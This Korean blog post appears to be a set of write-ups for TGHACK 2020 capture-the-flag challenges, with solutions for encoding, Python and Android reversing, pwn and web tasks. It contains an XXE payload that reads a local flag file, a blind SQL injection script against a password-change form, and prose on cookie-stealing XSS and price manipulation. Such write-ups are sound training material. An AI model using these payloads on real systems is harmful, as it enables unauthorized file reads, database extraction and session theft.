TGHACK2020] Write ups

노션으로 옮김·2020년 4월 22일
1

wargame

목록 보기
41/59
post-thumbnail

Noob

Number Trouble

My friend only speaks in numbers. What does he say?

84 71 50 48 123 110 117 109 98 101 114 115 95 97 110 100 95 116 101 120 116 95 103 111 101 115 95 104 97 110 100 95 105 110 95 104 97 110 100 125
Need help?
Read the Starship Code and Cypher School tutorial if you don't know what to do!

풀이

헥스값을 문자열로 변환하면 된다.

>>> a='84 71 50 48 123 110 117 109 98 101 114 115 95 97 110 100 95 116 101 120 116 95 103 111 101 115 95 104 97 110 100 95 105 110 95 104 97 110 100 125'.split(' ')
>>> a=map(lambda x : chr(int(x)), a)
>>> bytearray(a)
bytearray(b'TG20{numbers_and_text_goes_hand_in_hand}')

Reversing

Game of Keys

Download this file and get the flag. You will also need this wordlist

디컴파일러를 설치하고 디컴파일한다.

pip install uncompyle6
uncompyle6 <파일명.pyc>

소스가 출력되는데 파이썬 소스파일로 저장하여 실행할 수 있다.

import base64
from itertools import cycle

class myGame:

    def __init__(self, xdim=4, ydim=4):
        self.x = xdim
        self.y = ydim
        self.matrix = []
        for i in range(self.x):
            row = []
            for j in range(self.y):
                row.append(0)

            self.matrix.append(row)

    def make_keys(self, *args, **kwargs):
        words = []
        with open('wordlist.txt') as (f):
            for line in f:
                words.append(line.strip())

            for i in range(self.x):
                for j in range(self.y):
                    self.matrix[j][i] = words[(i + j)]

        keyArray = []
        keyArray.append(self.matrix[args[0]][args[1]])
        keyArray.append(self.matrix[args[2]][args[3]])
        key = ''
        for k in keyArray:
            key = key.strip() + str(k).strip()

        print(key)
        return key

    def checkdata(self, key):
        f = base64.b64decode('NSYDUhoVWQ8SQVcOAAYRFQkORA4FQVMDQQ5fQhUEWUYMDl4MHA==')
        data = f.decode('ascii')
        c = ''.join((chr(ord(c) ^ ord(k)) for c, k in zip(data, cycle(key))))
        print('%s ^ %s = %s' % (data, key, c))


if __name__ == '__main__':
    mgame = myGame(25, 25)
    x = input('input a number: ')
    y = input('input a number: ')
    x1 = input('input a number: ')
    y1 = input('input a number: ')
    data = mgame.make_keys(int(x), int(y), int(x1), int(y1))
    mgame.checkdata(data)

풀이

값을 4개 입력받는데, 아무 값이나 입력해보면

root@kali:/work/ctf/TGHACK2020/rev/Game_of_Keys# python keygame.py
input a number: 1
input a number: 1
input a number: 1
input a number: 1
aa0caa0c
5&R▒YAW DASA_BYF
                ^
                  ^ aa0caa0c = TG31{tils gmag!vhotmd c` oo!tei%mono}

일반적인 플래그 형식이다.
그리고 몇가지 더 입력해보면 사용되는 키는 aaXXaaXXaa부분이 고정되고 이 키가 반복되어 사용된다는 것을 알 수 있다.
또한 플래그값 시작부분이 TG20{thi로 시작한다는 것을 유추할 수 있다.
암호화된 값을 알고있으므로 TG20{thi와 XOR하면 key 값을 구할 수 있다.

    def getKey(self, plain):
        f = base64.b64decode('NSYDUhoVWQ8SQVcOAAYRFQkORA4FQVMDQQ5fQhUEWUYMDl4MHA==')
        data = f.decode('ascii')
        c = ''.join((chr(ord(c) ^ ord(k)) for c, k in zip(data, cycle(plain))))
        print c

if __name__ == '__main__':
    mgame = myGame(25, 25)
    strs = 'TG20{this'
    mgame.getKey(strs[:8])
    mgame.checkdata('aa1baa1fF'[:8])        

구한 key값으로 checkdata를 호출하면 플래그가 출력된다.

TG20{this flag should be on teh moon}

Bad intentions

Someone found this very old game lying around. Apparently there is an extremely funny joke in there somewhere.

Here, take this APK.

Hint

Random title?

주어진 apk을 실행해보면 겔로그와 비슷한 게임임을 알 수 있다.
디컴파일해서 smali를 확인해보면 조건을 확인해 Contrats를 출력해주는 루틴을 확인할 수 있다.

    :cond_e
    sget-object p1, Lno/tghack/gaiainvaders/Invader;->Companion:Lno/tghack/gaiainvaders/Invader$Companion;

    invoke-virtual {p1}, Lno/tghack/gaiainvaders/Invader$Companion;->getNumberOfInvaders()I

    move-result p1

    if-eqz p1, :cond_10
    .line 265
    iget p1, p0, Lno/tghack/gaiainvaders/GaiaInvadersView;->waves:I

    const/16 v0, 0x3e8

    if-ne p1, v0, :cond_f

if-ne를 반대의 조건인 if-eq로 바꿔주면 플래그값을 확인할 수 있게 된다.


Pwnable

Boofy

This program looks like it's password protected, but we can't seem to find the correct password.

nc boofy.tghack.no 6003

or use a mirror closer to you:

nc us.boofy.tghack.no 6003 (US)
nc asia.boofy.tghack.no 6003 (Japan)
files:

download binary
download source

풀이

IDA로 열어보면 상수값 패스워드를 비교한 후 플래그값을 출력한다.
상수값을 그대로 입력하면 된다.

Bufferfly

https://velog.io/@woounnan/TGHACK2020-Bufferfly

Extract This!

One of our agents managed to install a service on MOTHER's network. We can use it to extract secrets, but she didn't tell me how! Can you figure it out?

nc extract.tghack.no 6000
or use a mirror closer to you:

nc us.extract.tghack.no 6000 (US)
nc asia.extract.tghack.no 6000 (Japan)

접속하면 XML의 입력을 요구한다.

풀이

설마 했는데, XXE 치트를 입력하면 플래그 값이 출력된다.

Please enter your XML here:
<!DOCTYPE foo [  <!ELEMENT foo ANY >  <!ENTITY xxe SYSTEM "file:///flag.txt" >]><foo>&xxe;</foo>
TG20{never_trust_the_external_entities}

이게 왜 포너블 문제란 말인가..


Web

Shop

We found the Mother cult merch store. In addition to selling clothing items they sell some secrets we need. For the time being we haven't been able to secure the funds necessary to do so. Can you help us?

shop.tghack.no

문제에 접속하면

돈을 빌리고 갚을 수 있으며, 상점에 접속할 수 있다.

상점에서는 플래그를 포함해 다양한 아이템을 구매할 수 있지만 돈이 충분하지 않다.
빌릴 수 있는 돈도 제한되어 있다.

풀이

아이템 구입시 id, price이 사용되는데 메뉴에 나와있는 값과 일치해야 거래를 할 수 있다. 하지만 IDOR에 대한 방어는 되어있지 않다. 10부터 시작하는 id값을 0~9 사이의 값으로 설정하면 설정된 가격대로 거래가 진행되고, 음수값으로 가격을 설정할 경우 소지금액이 증가하는 것을 확인할 수 있다.

플래그를 살 수 있을 만큼의 돈을 획득한 뒤 플래그를 구입하면 된다.

TG20{I_just_want_to_buy_a_real_flag}

Redux

Here is your Gaia form to get your weekly plant rations. Complete the form and reap your reward!

redux.tghack.no

입력폼이 있고, 버튼을 누르면 다른 반응이 없이 콘솔로만 로그가 출력된다.

풀이

Redux는 프론트엔드에서 상태관리를 위한 프레임워크이다.

처리코드는 js\reducer에서 확인할 수 있다.

소스를 보면 플래그값을 확인할 수 있다.

TG20{always_disable_redux_dev_tools}

Exfiltration

We have found a forum used by members of the Mother cult. The members are sitting behind an advanced firewall without access to the internet. We need their super secret information.

exfiltration.tghack.no

값을 보내면 현재 페이지에 반영된다.

풀이

XSS 문제이다. 내 서버에 쿠키값을 보내는 스크립트를 삽입하면 내 서버에서 플래그 값이 포함되어있는 request를 확인할 수 있다.

TG20{exfiltration_is_best_filtration}

Bobby

로그인 페이지와 패스워드 변경 페이지가 있다.
로그인 페이지에선 아무것도 인젝션 할 수 없으며 패스워드 변경 페이지에서 new_password로 인젝션이 가능하다.

풀이

패스워드 변경 페이지에서 new_password에 싱글쿼터를 입력하면 오류메시지가 출력된다.

오류 메시지로 쿼리를 예측할 수 있고,
또한 오류메시지를 검색하면 데이터베이스가 sqlite3이라는 것을 알 수 있다.

해당 데이터베이스에 맞도록 파이썬 스크립트를 작성해주어 테이블 명, 컬럼명 순으로 값을 구해서 패스워드를 변경한 후, 로그인하면 된다.

while True:
    i = 0
    char = ''
    flag_find = 0
    while i < 32:
        ch = hex(i%16)[2:]
        print 'ch: ' + ch
        #sql_getTable = "1' where ?=? and substr(hex(substr((select tbl_name from sqlite_master limit 0, 1),{0},1)),{1},1)='{2}'".format(len(flags)+1, (i/16)+1, ch)
        sql_getColumn = "1' where ?=? and substr(hex(substr((select user from {0} limit 0, 1),{1},1)),{2},1)='{3}'".format(name_table, len(flags)+1, (i/16)+1, ch)
        payload = sql_getColumn + ' -- '
        print 'payload : ' + payload
        data = {'user': '', 'old_pass' : '', 'new_pass' : payload}
        res = requests.post(url, data=data, cookies = cookies)
        if res.text.find('challenge') != -1:
            print 'ohno !!! session closed!!'
            f = open('bk', 'w')
            f.write(flags)
            f.close()
            exit(0)

        print res.text.split('<div class="line"><div class="right">')[1].split('</div>')[0]
        if res.text.find('changed') != -1 :
            char += ch
            if i/16 == 1:
                flags += chr(int(char, 16))
                print 'flags: ' + flags
            print 'Found!! ' 
            print 'char: ' + char
            i = (i/16)*16 + 16
            print 'i: ' + str(i)
            flag_find = 1
            continue
        i += 1
        print '#####################################'
    if flag_find == 0:
        break

print '\n\n\n\n'
print 'flags : ' + flags

0개의 댓글